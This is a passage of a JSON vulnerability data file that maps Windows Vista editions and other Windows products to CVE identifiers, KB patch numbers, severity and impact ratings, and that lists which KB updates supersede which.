Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"}],"Windows Update Assistant":[{"cve":"CVE-2021-42297","kb":"","severity":"Important","impact":"Elevation of Privilege"}],"Windows Vista":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}]},"kb_supersedes":{"2079403":["955069"],"2121546":["930178"],"2124261":["942830"],"2160329":["979559"],"2183461":["982381"],"2207566":["980436"],"2279986":["980218"],"2286198":["943460"],"2296199":["2279986","980218"],"2345304":["983444"],"2360131":["2183461"],"2360937":["982802"],"2378111":["979402"],"2387149":["924667"],"2393802":["981852"],"2412687":["958869"],"2416400":["2360131"],"2416447":["979906"],"2416469":["972593"],"2424434":["981997"],"2436673":["981957"],"2446704":["983583"],"2446708":["2160841"],"2446709":["983590"],"2447961":["954156","979332"],"2449741":["983588"],"2449742":["983589"],"2475792":["981332"],"2476490":["947890"],"2476687":["978037"],"2478953":["2207559","981550","982000"],"2478960":["943485"],"2478971":["977290"],"2479628":["2436673"],"2481109":["956744"],"2482017":["2416400"],"2483185":["2286198"],"2483618":["958469"],"2485376":["2296199"],"2485663":["2259922"],"2493987":["2345304"],"2497640":["2482017"],"2503665":["956803"],"2506223":["2479628"],"2507618":["2485376"],"2507938":["2121546","2476687"],"2508272":["980195"],"2508429":["982214"],"2509553":["945553","951748","956803"],"2510531":["971961","981332"],"2510581":["971961","981349"],"2510587":["971961","981350"],"2511455":["980232"],"2518863":["983587"],"2518864":["2446704","983583"],"2518865":["2449741","983588"],"2518866":["2449742"],"2518867":["2446709"],"2518869":["2446710"],"2518870":["2446708"],"2524426":["969883"],"2525694":["2506223"],"2525835":["2345316"],"2530095":["983582"],"2530548":["2497640"],"2536275":["2508429","975517"],"2536276":["2511455"],"2539631":["2478658"],"2539633":["2478660"],"2539634":["2478661"],"2539635":["2478662"],"2539636":["2478663"],"2544521":["938127"],"2544893":["2503658"],"2555917":["2506223","2525694"],"2556532":["981852"],"2559049":["2530548"],"2562485":["961063"],"2563894":["978886"],"2564958":["2476490"],"2567053":["2555917"],"2567680":["2121546","2507938"],"2571621":["2524426"],"2572066":["953295"],"2572067":["2416447"],"2572069":["953298"],"2572073":["983583"],"2572075":["983589"],"2585542":["980436"],"2586448":["2559049"],"2588516":["2563894"],"2592799":["2503665"],"2596911":["2493987"],"2601626":["981550"],"2604042":["2572066"],"2604044":["2656353"],"2604078":["2572069"],"2604092":["2518864","2572073","2633880"],"2604094":["2518866","2572075","2633874"],"2604114":["2518867","2572076","2633879"],"2604115":["2518869","2572077","2633873"],"2604121":["2518870","2572078","2633870"],"2616310":["982000"],"2617657":["2567053"],"2618444":["2586448"],"2618451":["2508272"],"2620712":["2476687"],"2621146":["2601626"],"2621440":["2570222"],"2626416":["2616310"],"2631813":["975562"],"2633171":["981852"],"2633870":["2539636"],"2633873":["2539635"],"2633874":["2539633"],"2633879":["2539634"],"2633880":["2539631"],"2636927":["2636927","2690729"],"2639417":["2567053","2617657"],"2641653":["2660465"],"2645640":["2503665","2592799"],"2646524":["2567680"],"2647170":["2562485"],"2647516":["2618444"],"2653956":["978601"],"2655992":["2585542"],"2656351":["2416472"],"2656352":["2418241"],"2656353":["2572067"],"2656355":["2416471"],"2656358":["2572069"],"2656362":["2416470"],"2657424":["2416473"],"2658846":["2665364"],"2659262":["2412687"],"2660465":["2639417"],"26